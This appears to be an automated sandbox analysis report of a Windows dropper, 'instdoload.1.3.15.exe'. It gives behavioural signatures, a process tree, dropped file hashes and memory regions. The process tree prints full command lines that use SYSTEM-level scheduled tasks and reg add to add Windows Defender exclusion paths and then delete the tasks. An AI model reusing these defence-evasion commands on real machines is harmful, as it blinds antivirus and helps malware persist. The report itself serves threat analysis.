Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/10/2026, 18:27

General

  • Target
    instdoload.1.3.15.exe
  • Size 38.8MB
  • Sample261003-w3ydgavbme
  • SHA256 218e743d49c1060a7d9e1d250ed4fb4372aefc2a0892fadd70f09c4f68a25d16
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.15.exe
    "C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.15.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:1752
  • C:\Users\Public\WONTZE\4MaAs7.exe
    C:\Users\Public\WONTZE\4MaAs7.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3288
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WONTZE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1336
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WONTZE\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3224
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3584
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3764
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4348
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1036
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1824
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1156
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2496
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:944
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4620
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:468
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5036
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1132
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2528
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3612
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3820
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:440
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4316
                      • C:\Users\Public\WONTZE\4MaAs7.exe
                        "C:\Users\Public\WONTZE\4MaAs7.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3272
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WONTZE" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1796
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WONTZE" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2800
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2956
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1684
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2228
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4012
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3616
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2760
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:620

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 881a0ef4a34862f45e2332fc2f5573a024ab2f8312689a3776ef8b9b3a857941
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 d706f5891871f72cdca820d887b30a42a12ba28266fb4d7a606dc7c564161c89
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 a66bbd4468af2dd8b06194ca4f81c52e583bf5d7da530c03519151c429fedb42
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 5567c78387f29500379f110db5bed0cc4b8494a885792217238bc974f4937111
                              • MD5 SHA1 SHA512 TLSH

                              4MaAs7.exe

                              • Path C:\Users\Public\WONTZE\4MaAs7.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\WONTZE\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 31bb737116b9465130ca2314273f92b26519cec58c5013f5b762d45974ecb003
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\WONTZE\adoresd.dat
                              • Size 4.7MB
                              • SHA256 4d20ee3c9dcbcf2cb09b1306575f5aeb24498828160b8ff5f624399a57748324
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\WONTZE\msadox.tb
                              • Size 8KB
                              • SHA256 31ce2f4c46b36501482de6bba38bacdb27356e8c12959b20e1072dc1abdecfe8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1752-0-0x00007FFB5AC30000-0x00007FFB5AC52000-memory.dmp

                              memory/1752-523-0x00007FFB4E030000-0x00007FFB4E040000-memory.dmp

                              memory/1752-503-0x00007FFB4E030000-0x00007FFB4E040000-memory.dmp

                              memory/1752-501-0x0000000000520000-0x000000000052E000-memory.dmp

                              memory/1752-1-0x0000000000540000-0x000000000054C000-memory.dmp

                              memory/3272-572-0x00007FFB40330000-0x00007FFB4084E000-memory.dmp

                              memory/3272-575-0x0000017480980000-0x0000017481207000-memory.dmp

                              memory/3272-585-0x0000017480980000-0x0000017481207000-memory.dmp

                              memory/3272-583-0x0000017480980000-0x0000017481207000-memory.dmp

                              memory/3272-586-0x00007FFB5D1D0000-0x00007FFB5D1D2000-memory.dmp

                              memory/3272-584-0x0000017480980000-0x0000017481207000-memory.dmp

                              memory/3272-582-0x0000017480980000-0x0000017481207000-memory.dmp

                              memory/3272-577-0x00007FFB5D1E0000-0x00007FFB5D1E2000-memory.dmp

                              memory/3272-578-0x0000017480980000-0x0000017481207000-memory.dmp

                              memory/3288-556-0x0000024876B60000-0x0000024876BEA000-memory.dmp

                              memory/3288-553-0x0000024876A80000-0x0000024876ACE000-memory.dmp

                              memory/3288-563-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-557-0x0000024876B60000-0x0000024876BEA000-memory.dmp

                              memory/3288-541-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-537-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-534-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-529-0x00007FFB40330000-0x00007FFB4084E000-memory.dmp

                              memory/3288-528-0x00007FFB5D1D0000-0x00007FFB5D1D2000-memory.dmp

                              memory/3288-562-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-554-0x0000024876B60000-0x0000024876BEA000-memory.dmp

                              memory/3288-536-0x00007FFB5D1E0000-0x00007FFB5D1E2000-memory.dmp

                              memory/3288-555-0x0000024876B60000-0x0000024876BEA000-memory.dmp

                              memory/3288-548-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-543-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-544-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-542-0x0000024875EB0000-0x0000024876737000-memory.dmp

                              memory/3288-593-0x0000024875EB0000-0x0000024876737000-memory.dmp